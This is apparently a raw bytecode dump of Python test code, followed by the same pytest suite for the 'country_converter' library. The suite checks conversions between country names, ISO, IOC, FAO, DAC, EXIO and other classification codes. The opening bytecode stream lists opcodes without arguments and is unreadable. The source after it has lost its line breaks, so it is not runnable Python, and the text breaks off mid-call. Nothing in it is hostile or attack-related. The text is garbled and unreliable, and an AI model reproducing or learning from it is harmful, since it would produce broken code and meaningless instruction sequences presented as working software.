LOAD_ATTR EXIO3 LOAD_CONST 'EXIO3' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Mismatch in: ' LOAD_FAST rr FORMAT_VALUE LOAD_CONST ' ' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST converter LOAD_ATTR convert LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO2_3L LOAD_CONST 'EXIO2_3L' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION LOAD_FAST converter LOAD_ATTR convert LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO2 LOAD_CONST 'EXIO2' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Mismatch in: ' LOAD_FAST rr FORMAT_VALUE LOAD_CONST ' ' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST converter LOAD_ATTR convert LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO1_3L LOAD_CONST 'EXIO1_3L' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION LOAD_FAST converter LOAD_ATTR convert LOAD_FAST rr LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR EXIO1 LOAD_CONST 'EXIO1' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Mismatch in: ' LOAD_FAST rr FORMAT_VALUE LOAD_CONST ' ' BUILD_STRING CALL_FUNCTION RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 1 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'AUT' LOAD_CONST 'DACcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 301 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'CAN' LOAD_CONST 'DACcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 347 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'GTM' LOAD_CONST 'DACcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 854 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'VUT' LOAD_CONST 'DACcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 'am' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Armenia' LOAD_CONST 'ccTLD' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'er' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Eritrea' LOAD_CONST 'ccTLD' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Zambia' LOAD_CONST 'ccTLD' LOAD_CONST ('to',) CALL_FUNCTION LOAD_METHOD upper CALL_METHOD LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Zambia' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION LOAD_METHOD upper CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 'Europe' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Austria' LOAD_CONST 'continent' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Europe' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Austria' LOAD_CONST 'continent_7' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'America' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Canada' LOAD_CONST 'continent' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'North America' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Canada' LOAD_CONST 'continent_7' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'South America' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Brazil' LOAD_CONST 'continent_7' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 'GER' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Germany' LOAD_CONST 'IOC' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GAM' LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Gambia' LOAD_CONST 'IOC' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Yemen' LOAD_CONST 'IOC' LOAD_CONST ('to',) CALL_FUNCTION LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Yemen' LOAD_CONST 'ISO3' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_CONST 305 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'AUT' LOAD_CONST 'GWcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 771 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'BD' LOAD_CONST 'GWcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 694 LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'Qatar' LOAD_CONST 'GWcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD isnan LOAD_FAST cc LOAD_ATTR convert LOAD_CONST 'United States Minor Outlying Islands' LOAD_CONST 'GWcode' LOAD_CONST ('to',) CALL_FUNCTION CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pd LOAD_ATTR read_csv LOAD_GLOBAL TESTPATH FORMAT_VALUE LOAD_CONST '/test_series_data.csv' BUILD_STRING LOAD_CONST 0 LOAD_CONST ('header',) CALL_FUNCTION STORE_FAST test_series LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 58 POP_TOP LOAD_FAST cc LOAD_ATTR pandas_convert LOAD_FAST test_series LOAD_CONST 'ISO3' LOAD_CONST ('to',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pd LOAD_ATTR Series LOAD_FAST cc LOAD_ATTR convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'ISO3' LOAD_CONST ('to',) CALL_FUNCTION LOAD_FAST test_series LOAD_ATTR index LOAD_CONST 'data' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST convert LOAD_FAST cc LOAD_ATTR pandas_convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'ISO3' LOAD_CONST ('to',) CALL_FUNCTION STORE_FAST pandas_convert LOAD_GLOBAL assert_series_equal LOAD_FAST convert LOAD_FAST pandas_convert CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pd LOAD_ATTR read_csv LOAD_GLOBAL TESTPATH FORMAT_VALUE LOAD_CONST '/test_series_data.csv' BUILD_STRING LOAD_CONST 0 LOAD_CONST ('header',) CALL_FUNCTION STORE_FAST test_series LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_GLOBAL pd LOAD_ATTR Series LOAD_FAST cc LOAD_ATTR convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'ISO2' LOAD_CONST 'empty' LOAD_CONST ('to', 'not_found') CALL_FUNCTION LOAD_FAST test_series LOAD_ATTR index LOAD_CONST 'data' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST convert_not_found LOAD_FAST cc LOAD_ATTR pandas_convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'ISO2' LOAD_CONST 'empty' LOAD_CONST ('to', 'not_found') CALL_FUNCTION STORE_FAST pandas_not_found LOAD_GLOBAL assert_series_equal LOAD_FAST convert_not_found LOAD_FAST pandas_not_found CALL_FUNCTION POP_TOP LOAD_GLOBAL pd LOAD_ATTR Series LOAD_FAST cc LOAD_ATTR convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'UNRegion' LOAD_CONST True LOAD_CONST ('to', 'enforce_list') CALL_FUNCTION LOAD_FAST test_series LOAD_ATTR index LOAD_CONST 'data' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST convert_enforce_list LOAD_FAST cc LOAD_ATTR pandas_convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'UNRegion' LOAD_CONST True LOAD_CONST ('to', 'enforce_list') CALL_FUNCTION STORE_FAST pandas_enforce_list LOAD_GLOBAL assert_series_equal LOAD_FAST convert_enforce_list LOAD_FAST pandas_enforce_list CALL_FUNCTION POP_TOP LOAD_GLOBAL pd LOAD_ATTR Series LOAD_FAST cc LOAD_ATTR convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'name' LOAD_CONST 'without' LOAD_CONST 'excluding' BUILD_LIST LOAD_CONST ('to', 'exclude_prefix') CALL_FUNCTION LOAD_FAST test_series LOAD_ATTR index LOAD_CONST 'data' LOAD_CONST ('index', 'name') CALL_FUNCTION STORE_FAST convert_exclude_prefix LOAD_FAST cc LOAD_ATTR pandas_convert LOAD_FAST test_series LOAD_ATTR data LOAD_CONST 'name' LOAD_CONST 'without' LOAD_CONST 'excluding' BUILD_LIST LOAD_CONST ('to', 'exclude_prefix') CALL_FUNCTION STORE_FAST pandas_exclude_prefix LOAD_GLOBAL assert_series_equal LOAD_FAST convert_exclude_prefix LOAD_FAST pandas_exclude_prefix CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR CC41 LOAD_ATTR CC41 LOAD_METHOD unique CALL_METHOD STORE_FAST cs LOAD_GLOBAL len LOAD_FAST cs CALL_FUNCTION LOAD_CONST 41 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Rest of World' LOAD_FAST cs COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Great Britain and N.I.' LOAD_FAST cs COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
""" Testing the country_converter functionality """ import collections import logging import os import sys import warnings from collections import OrderedDict import numpy as np import pandas as pd import pytest from pandas.testing import assert_frame_equal, assert_series_equal import country_converter as coco # noqa from country_converter.country_converter import _parse_arg # noqa TESTPATH = os.path.dirname(os.path.abspath(__file__)) sys.path.append(os.path.join(TESTPATH, "..")) regex_test_files = [ nn for nn in os.listdir(TESTPATH) if (nn[:10] == "test_regex") and (os.path.splitext(nn)[1] == ".txt") ] non_matching_data = os.path.join(TESTPATH, "should_not_match.txt") custom_data = os.path.join(TESTPATH, "custom_data_example.txt") @pytest.fixture(scope="module", params=regex_test_files) def get_regex_test_data(request): retval = collections.namedtuple("regex_test_data", ["data_name", "data"]) return retval( request.param, pd.read_csv(os.path.join(TESTPATH, request.param), sep="\t", encoding="utf-8"), ) def test_name_short(): """Tests if there is a unique matching of name_short to regular expressions""" converter = coco.CountryConverter() not_found_id = "XXX" for row in converter.data.iterrows(): name_test = row[1].name_short name_result = converter.convert( name_test, src="regex", to="name_short", not_found=not_found_id, enforce_list=False, ) assert ( len(name_result) > 2 ), "Name {} matched several regular expressions: {}".format( name_test, " ,".join(name_result) ) assert ( name_result != not_found_id ), "Name {} did not match any regular expression".format(name_test) assert ( name_result == name_test ), "Name {} did match the wrong regular expression: {}".format( name_test, name_result ) def test_name_official(): """Tests if there is a unique matching of name_official to regular expressions""" converter = coco.CountryConverter() not_found_id = "XXX" for row in converter.data.iterrows(): name_test = row[1].name_official name_result = converter.convert( name_test, src="regex", to="name_official", not_found=not_found_id, enforce_list=False, ) assert ( len(name_result) > 2 ), "Name {} matched several regular expressions: {}".format( name_test, " ,".join(name_result) ) assert ( name_result != not_found_id ), "Name {} did not match any regular expression".format(name_test) assert ( name_result == name_test ), "Name {} did match the wrong regular expression: {}".format( name_test, name_result ) def test_alternative_names(get_regex_test_data): converter = coco.CountryConverter(include_obsolete=True) not_found_id = "XXX" for row in get_regex_test_data.data.iterrows(): name_test = row[1].name_test name_short = row[1].name_short name_result = converter.convert( name_test, src="regex", to="name_short", not_found=not_found_id, enforce_list=False, ) assert len(name_result) > 2, ( "File {0} - row {1}: Name {2} matched several " "regular expressions: {3}".format( get_regex_test_data.data_name, row[0], name_test, " ,".join(name_result) ) ) if name_short != not_found_id: assert name_result != not_found_id, ( "File {0} - row {1}: Name {2} did not match any " "regular expression".format( get_regex_test_data.data_name, row[0], name_test ) ) assert name_result == name_short, ( "File {0} - row {1}: Name {2} did match the " "wrong regular expression: {3}".format( get_regex_test_data.data_name, row[0], name_test, name_result ) ) def test_toISO2_conversion(): converter = coco.CountryConverter() assert "DE" == converter.convert("DEU", src="ISO3", to="ISO2") assert "GB" == converter.convert("GBR", src="ISO3", to="ISO2") assert "GB" == converter.convert("UK", src="ISO2", to="ISO2") assert "GB" == converter.convert("UK", to="ISO2") assert "GB" == converter.convert("GB", to="ISO2") assert "GR" == converter.convert("GR", to="ISO2") assert "GR" == converter.convert("EL", src="ISO2", to="ISO2") assert "GR" == converter.convert("EL", to="ISO2") assert "GB" == converter.convert("GBR", to="ISO2") assert "TR" == converter.convert("TR", src="ISO2", to="ISO2") assert "TR" == converter.convert("TUR", src="ISO3", to="ISO2") def test_additional_country_file(): converter_basic = coco.CountryConverter() converter_extended = coco.CountryConverter(additional_data=custom_data) assert converter_basic.convert("Congo") == "COG" assert converter_extended.convert("Congo") == "COD" assert converter_extended.convert("wirtland", to="name_short") == "Wirtland" assert 250 == converter_extended.convert("Congo", to="FAOcode") def test_additional_country_data(): add_data = pd.DataFrame.from_dict( { "name_short": ["xxx country"], "name_official": ["longer xxx country name"], "regex": ["xxx country"], "ISO3": ["XXX"], "ISO2": ["XX"], } ) converter_extended = coco.CountryConverter(additional_data=add_data) assert "xxx country" == converter_extended.convert( "XXX", src="ISO3", to="name_short" ) assert pd.isna(converter_extended.convert("XXX", src="ISO3", to="continent")) def test_UNmember(): cc = coco.CountryConverter(only_UNmember=True) assert len(cc.data) == 193 def test_obsolete(): cc = coco.CountryConverter() assert len(cc.data) == 250 cc = coco.CountryConverter(include_obsolete=False) assert len(cc.data) == 250 cc = coco.CountryConverter(include_obsolete=True) assert len(cc.data) == 256 def test_special_cases(): """Some test for special cases which occurred during development. These are test for specific issues turned up. """ converter = coco.CountryConverter().convert assert converter("NA", to="ISO3") == "NAM" assert converter("NAM", to="ISO2") == "NA" def test_iterable_inputs(): """Test the different possibilites to input lists This guards agains issue #54 """ _inp_list = ["AT", "BE", "DE", "GB", "TW"] inputs = dict( type_list=list(_inp_list), type_tuple=tuple(_inp_list), type_set=set(_inp_list), type_series=pd.Series(_inp_list), type_df_index=pd.Index(_inp_list), ) outputs = {tt: sorted(coco.convert(val)) for tt, val in inputs.items()} input_error = 23.8 with pytest.raises(TypeError) as e_sys: coco.convert(input_error) def test_get_correspondance_dict_standard(): """Standard test case for get_correspondence_dict method""" classA = "EXIO1" classB = "continent" cc = coco.CountryConverter() corr = cc.get_correspondence_dict(classA=classA, classB=classB) assert type(corr) == dict assert len(corr) == 44 assert corr["DE"] == ["Europe"] assert corr["ZA"] == ["Africa"] assert corr["WW"] == [ "Asia", "Europe", "Africa", "Oceania", "America", "Antarctica", ] def test_get_correspondence_dict_numeric_replace(): """Numeric replacement test of get_correspondence_dict method""" classA = "EXIO1" classB = "OECD" cc = coco.CountryConverter() corr_str = cc.get_correspondence_dict( classA=classA, classB=classB, replace_numeric=True ) assert type(corr_str) == dict assert len(corr_str) == 44 assert corr_str["JP"] == ["OECD"] assert corr_str["ZA"] == [None] assert None in corr_str["WW"] assert "OECD" in corr_str["WW"] assert len(corr_str["WW"]) == 2 corr_num = cc.get_correspondence_dict( classA=classA, classB=classB, replace_numeric=False ) assert type(corr_num) == dict assert len(corr_num) == 44 assert corr_num["JP"] == [1964] assert pd.isna(corr_num["ZA"]) assert 2010 in corr_num["WW"] assert 1961 in corr_num["WW"] assert len(corr_num["WW"]) == 6 def test_build_agg_conc_custom(): """Minimal test of the aggregation concordance building functionality""" original_countries = ["c1", "c2", "c3", "c4"] aggregates = [{"c1": "r1", "c2": "r1", "c3": "r2"}] agg_dict_wmiss = coco.agg_conc( original_countries, aggregates, merge_multiple_string=None, missing_countries=True, log_missing_countries=(lambda x: logging.error("Country {} missing".format(x))), log_merge_multiple_strings=None, as_dataframe=False, ) assert agg_dict_wmiss == OrderedDict( [("c1", "r1"), ("c2", "r1"), ("c3", "r2"), ("c4", "c4")] ) agg_dict_replace = coco.agg_conc( original_countries, aggregates, merge_multiple_string=None, missing_countries="RoW", log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe=False, ) assert agg_dict_replace == OrderedDict( [("c1", "r1"), ("c2", "r1"), ("c3", "r2"), ("c4", "RoW")] ) agg_vec_womiss = coco.agg_conc( original_countries, aggregates, merge_multiple_string=None, missing_countries=False, log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe="sparse", ) expected_vec = pd.DataFrame( data=[["c1", "r1"], ["c2", "r1"], ["c3", "r2"]], columns=["original", "aggregated"], ) assert_frame_equal(agg_vec_womiss, expected_vec) agg_matrix_womiss = coco.agg_conc( original_countries, aggregates, merge_multiple_string=None, missing_countries=False, log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe="full", ) expected_matrix = pd.DataFrame( data=[[1.0, 0.0], [1.0, 0.0], [0.0, 1.0]], columns=["r1", "r2"], index=["c1", "c2", "c3"], ) expected_matrix.index.names = ["original"] expected_matrix.columns.names = ["aggregated"] assert_frame_equal(agg_matrix_womiss, expected_matrix) original_countries = ["c1", "c2", "c3", "c4"] aggregates = [{"c1": ["r1", "r2"], "c2": "r1", "c3": "r2"}] agg_matrix_double_region = coco.agg_conc( original_countries, aggregates, merge_multiple_string="_&_", missing_countries=False, log_missing_countries=None, log_merge_multiple_strings=( lambda x: logging.warning( "Country {} belongs to " "multiple " "regions".format(x) ) ), as_dataframe="full", ) expected_matrix = pd.DataFrame( data=[[0.0, 1.0, 0.0], [1.0, 0.0, 0.0], [0.0, 0.0, 1.0]], columns=["r1", "r1_&_r2", "r2"], index=["c1", "c2", "c3"], ) expected_matrix.index.names = ["original"] expected_matrix.columns.names = ["aggregated"] assert_frame_equal(agg_matrix_double_region, expected_matrix) def test_build_agg_conc_exio(): """Some agg_conc test with a subset of exio countries""" original_countries = ["TW", "XX", "AT", "US", "WA"] aggregates = ["EU", "OECD", "continent"] agg_dict_replace = coco.agg_conc( original_countries, aggregates, merge_multiple_string=False, missing_countries="RoW", log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe=False, ) assert agg_dict_replace == OrderedDict( [("TW", "Asia"), ("XX", "RoW"), ("AT", "EU"), ("US", "OECD"), ("WA", "RoW")] ) agg_dict_skip = coco.agg_conc( original_countries, aggregates, merge_multiple_string=False, missing_countries=False, log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe=False, ) assert agg_dict_skip == OrderedDict([("TW", "Asia"), ("AT", "EU"), ("US", "OECD")]) agg_matrix_skip = coco.agg_conc( original_countries, aggregates, merge_multiple_string=False, missing_countries=False, log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe="full", ) assert agg_matrix_skip.index.tolist() == ["TW", "AT", "US"] aggregates_oecd_first = ["OECD", "EU", {"WA": "RoW", "WF": "RoW"}] agg_dict_oecd_eu = coco.agg_conc( original_countries, aggregates_oecd_first, merge_multiple_string=False, missing_countries=True, log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe=False, ) assert agg_dict_oecd_eu == OrderedDict( [("TW", "TW"), ("XX", "XX"), ("AT", "OECD"), ("US", "OECD"), ("WA", "RoW")] ) aggregates = "EU" agg_dict_full_exio = coco.agg_conc( "EXIO2", aggregates, merge_multiple_string=False, missing_countries="RoW", log_missing_countries=None, log_merge_multiple_strings=None, as_dataframe=False, ) assert len(agg_dict_full_exio) == 48 assert agg_dict_full_exio["US"] == "RoW" assert agg_dict_full_exio["AT"] == "EU" def test_match(): match_these = ["norway", "united_states", "china", "taiwan"] master_list = [ "USA", "The Swedish Kingdom", "Norway is a Kingdom too", "Peoples Republic of China", "Republic of China", ] matching_dict = coco.match(match_these, master_list) assert matching_dict["china"] == "Peoples Republic of China" assert matching_dict["taiwan"] == "Republic of China" assert matching_dict["norway"] == "Norway is a Kingdom too" match_string_from = "united states" match_string_to_correct = "USA" matching_dict = coco.match(match_string_from, match_string_to_correct) assert matching_dict["united states"] == "USA" match_from = ("united states",) match_false = ("abc",) matching_dict = coco.match(match_from, match_false) assert matching_dict["united states"] == "not_found" matching_dict = coco.match(match_false, match_false) assert matching_dict["abc"] == "not_found" def test_regex_warnings(caplog): coco.convert("abc", src="regex") assert "not found in regex" in caplog.text def test_cli_output(capsys): inp_list = ["a", "b"] exp_string = "a-b" inp_df1col = pd.DataFrame(data=inp_list, columns=["names"], index=["co1", "co2"]) inp_df2col = inp_df1col.T coco.cli_output(inp_list, sep="-") out, err = capsys.readouterr() assert exp_string in out coco.cli_output(inp_df1col, sep="-") out, err = capsys.readouterr() assert exp_string in out coco.cli_output(inp_df2col, sep="-") out, err = capsys.readouterr() assert exp_string in out def test_wrapper_convert(): assert "US" == coco.convert("usa", src="regex", to="ISO2") assert "AT" == coco.convert("40", to="ISO2") def test_convert_wrong_classification(): with pytest.raises(KeyError) as _: coco.convert("usa", src="abc") def test_EU_output(): cc = coco.CountryConverter() EU28 = cc.EU28as("ISO2") assert len(EU28 == 28) assert cc.convert("Croatia", to="ISO2") in EU28.ISO2.tolist() EU27 = cc.EU27as("ISO2") assert len(EU27 == 27) assert cc.convert("Croatia", to="ISO2") in EU27.ISO2.tolist() assert cc.convert("UK", src="regex", to="ISO2") not in EU27.ISO2.tolist() EU27_2007 = cc.EU27_2007as("ISO2") assert len(EU27_2007 == 27) assert cc.convert("Croatia", to="ISO2") not in EU27_2007.ISO2.tolist() assert cc.convert("GB", src="regex", to="ISO2") in EU27_2007.ISO2.tolist() def test_EXIO_output(): cc = coco.CountryConverter() exio1 = cc.EXIO1.EXIO1.unique() exio2 = cc.EXIO2.EXIO2.unique() exio3 = cc.EXIO3.EXIO3.unique() assert len(exio1) == 44 assert len(exio2) == 48 assert len(exio3) == 49 assert "WW" in exio1 assert "WA" in exio2 assert "WA" in exio3 def test_WIOD_output(): cc = coco.CountryConverter() ws = cc.WIOD.WIOD.unique() assert len(ws) == 41 assert "RoW" in ws assert "NLD" in ws def test_Eora_output(): cc = coco.CountryConverter() es = cc.Eora.Eora.unique() assert "AUT" in es assert "AFG" in es def test_MESSAGE_output(): cc = coco.CountryConverter() ms = cc.MESSAGE.MESSAGE.unique() assert len(ms) == 11 assert "PAO" in ms assert "SAS" in ms def test_properties(): cc = coco.CountryConverter() assert all(cc.EU28 == cc.EU28as(to="name_short")) assert all(cc.EU27 == cc.EU27as(to="name_short")) assert all(cc.OECD == cc.OECDas(to="name_short")) assert all(cc.UN == cc.UNas(to="name_short")) def test_parser(): sys.argv = ["AT", "US"] args = _parse_arg(coco.CountryConverter().valid_class) assert args.src == None # noqa assert args.to == None # noqa sys.argv = ["EXIO1"] args = _parse_arg(coco.CountryConverter().valid_class) assert args.src == None # noqa assert args.to == None # noqa def test_full_cli(capsys): with pytest.raises(SystemExit) as e_sys: coco.main() out, err = capsys.readouterr() assert "usage" in out assert "names" in out assert e_sys.type == SystemExit _sysargv = sys.argv.copy() sys.argv = ["coco", "AT"] with pytest.raises(SystemExit) as e_sys: coco.main() out, err = capsys.readouterr() assert "Austria" in out assert e_sys.type == SystemExit sys.argv = ["coco", "EXIO1"] with pytest.raises(SystemExit) as e_sys: coco.main() out, err = capsys.readouterr() assert "AT" in out assert "WW" in out assert e_sys.type == SystemExit sys.argv = _sysargv def test_ISO_number_codes(): """This is for ISO 3166 numeric""" cc = coco.CountryConverter() assert 32 == cc.convert("Argentina", to="ISOnumeric") assert 208 == cc.convert("Denmark", to="isocode") assert 412 == cc.convert("Kosovo", to="ISOnumeric") def test_fao_number_codes(): cc = coco.CountryConverter() assert 21 == cc.convert("BRA", to="FAOcode") assert 223 == cc.convert("TUR", to="FAOcode") assert 67 == cc.convert("FIN", to="FAOcode") assert 117 == cc.convert("KOR", to="FAOcode") def test_GBD_codes(): cc = coco.CountryConverter() assert 35 == cc.convert("Georgia", to="GBDcode") assert 6 == cc.convert("China", to="GBDcode") assert 92 == cc.convert("Spain", to="GBDcode") def test_non_matching(): with open(non_matching_data, "r") as nmd: content = [line.strip() for line in nmd.readlines()] non_countries = [nc for nc in content if not nc.startswith("#") and nc != ""] not_found_indicator = "nope" with warnings.catch_warnings(): warnings.filterwarnings("ignore", message="not found") for reg_name in non_countries: assert not_found_indicator == coco.convert( reg_name, src="regex", to="ISO3", not_found=not_found_indicator ) def test_exio_three_letter(): converter = coco.CountryConverter() assert "HRV" == converter.convert("Croatia", to="exio3_3l") assert "WWE" == converter.convert("Croatia", to="exio2_3l") assert "WWW" == converter.convert("Croatia", to="exio1_3l") assert "WWM" == converter.convert("Egypt", to="exio3_3l") assert "WWM" == converter.convert("Egypt", to="exio2_3l") assert "WWW" == converter.convert("Egypt", to="exio1_3l") assert len(converter.data.EXIO1_3L.squeeze().unique()) == len( converter.data.EXIO1.squeeze().unique() ) assert len(converter.data.EXIO2_3L.squeeze().unique()) == len( converter.data.EXIO2.squeeze().unique() ) for rr in converter.data.iterrows(): if rr[1].EXIO3[0] == "W": assert rr[1].EXIO3_3L == "W" + rr[1].EXIO3, f"Mismatch: {rr}" assert rr[1].EXIO2_3L == "W" + rr[1].EXIO2, f"Mismatch: {rr}" assert rr[1].EXIO1_3L == "W" + rr[1].EXIO1, f"Mismatch: {rr}" for rr in converter.data.iterrows(): assert converter.convert( rr[1].EXIO3_3L, src="EXIO3_3L", to="name_short" ) == converter.convert( rr[1].EXIO3, src="EXIO3", to="name_short" ), f"Mismatch in: {rr} " assert converter.convert( rr[1].EXIO2_3L, src="EXIO2_3L", to="name_short" ) == converter.convert( rr[1].EXIO2, src="EXIO2", to="name_short" ), f"Mismatch in: {rr} " assert converter.convert( rr[1].EXIO1_3L, src="EXIO1_3L", to="name_short" ) == converter.convert( rr[1].EXIO1, src="EXIO1", to="name_short" ), f"Mismatch in: {rr} " def test_DAC_number_codes(): cc = coco.CountryConverter() assert 1 == cc.convert("AUT", to="DACcode") assert 301 == cc.convert("CAN", to="DACcode") assert 347 == cc.convert("GTM", to="DACcode") assert 854 == cc.convert("VUT", to="DACcode") def test_ccTLD(): cc = coco.CountryConverter() assert "am" == cc.convert("Armenia", to="ccTLD") assert "er" == cc.convert("Eritrea", to="ccTLD") assert ( cc.convert("Zambia", to="ccTLD").upper() == cc.convert("Zambia", to="ISO2").upper() ) def test_continents(): cc = coco.CountryConverter() assert "Europe" == cc.convert("Austria", to="continent") assert "Europe" == cc.convert("Austria", 